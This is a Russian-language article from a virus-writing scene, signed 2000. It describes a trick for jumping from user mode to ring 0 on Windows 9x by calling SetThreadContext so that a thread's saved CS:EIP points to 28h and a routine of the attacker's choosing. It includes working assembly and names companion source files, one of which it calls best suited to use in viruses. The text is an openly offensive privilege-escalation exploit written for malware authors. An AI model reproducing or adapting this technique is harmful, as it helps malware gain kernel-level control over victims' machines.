ENTERING RING-0 USING WIN32 API: CONTEXT MODIFICATION
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Весь вред, причиненный этим текстом, посвящаю злым вирмэйкерам.

     Маздай.   Сколько   глюков   в   этом  слове!  Итак,  вашему  вниманию
 представляется  вроде  бы  неизвестный  до  сих  пор, но просто шокирующий
 способ перехода в нулевое кольцо защиты.
     Это  не  патч  системных  таблиц  и  не  загрузка VxD-драйвера; это не
 супер-пупер  глюк  в  системе и не какой-нибудь навороченный эксплоит; это
 даже   не   изъебские   вызовы   чево-то-там   через   кернел   и  это  не
 многомегабайтные исходники вызовов пэйджера на си.
     Это просто стандартные апи-функции третьего кольца.
     Суть  заключается  в вызове всего одной функции: SetThreadContext. Эта
 функция устанавливает контекст, то есть все регистры для заданной нити.
     Ситуация  усложняется  тем, что сохраненный контекст применяется (т.е.
 установка  регистров происходит) при переходе из нуля в третье кольцо при
 переключении  задач  и  при  возврате  в  кернел  из вызванных им процедур
 нулевого кольца.
     Таким  образом  мы подлавливаем момент, когда в контексте текущей нити
 управление  находится  в  нулевом кольце, а затем правим CS и EIP возврата
 на 28h и адрес-процедуры-нулевого-кольца.
     В  результате  вместо  того, чтобы вернуться из нуля обратно в кернел,
 управление возвращается к нам.
     Почему  нельзя  изменить  один  только  CS  на  28h? Потому, что тогда
 управление вернется в кернел, а кернеловский код в нулевом кольце сглючит,
 так как до начала работы надо переустановить сегментные регистры в 30h.

                        push    esp 0 0
                        push    offset thread_ring3_code
                        push    0 0
                        callW   CreateThread    ; создаем новую нить
                        xchg    ebx, eax        ; EBX=хендл нити

                        push    offset context
                        push    ebx
                        callW   GetThreadContext; получаем контекст нити

                        mov     context._segcs, 28h         ; меняем CS:EIP
                        mov     context._eip, offset ring0_code

                        push    offset context
                        push    ebx
                        callW   SetThreadContext; устанавливаем контекст

                        jmp     $               ; чего-то ждем

thread_ring3_code:      push    1
                        call    Sleep           ; пауза
                        jmp     thread_ring3_code

ring0_code:             push    ss ss           ; мы в нуле!
                        pop     ds es
                        ...


     Вот собственно и все. Рабочий пример в CONTEXT.ASM.

     Единственно,  что в таком нулевом кольце нельзя вызывать VxDcall-ы. Но
 это  ведь  не  проблема, так как из нуля можно что угодно записать в любую
 область  памяти, потом убить текущую нить и перейти в ноль как следует. Но
 это уже другая история.

 P.S.
     Улучшенный вариант перехода в 0 находится в CONTEXT2.ASM: здесь
 приходится организовывать свой стэк, зато можно вызывать VxDcall-ы.

     Еще более простой вариант в CONTEXT3.ASM: здесь мы обходимся вообще
 без создания новой треады и прочей хуйни. Эта версия наиболее приближена
 к нормальному использованию в вирях.

(x) 2000 Z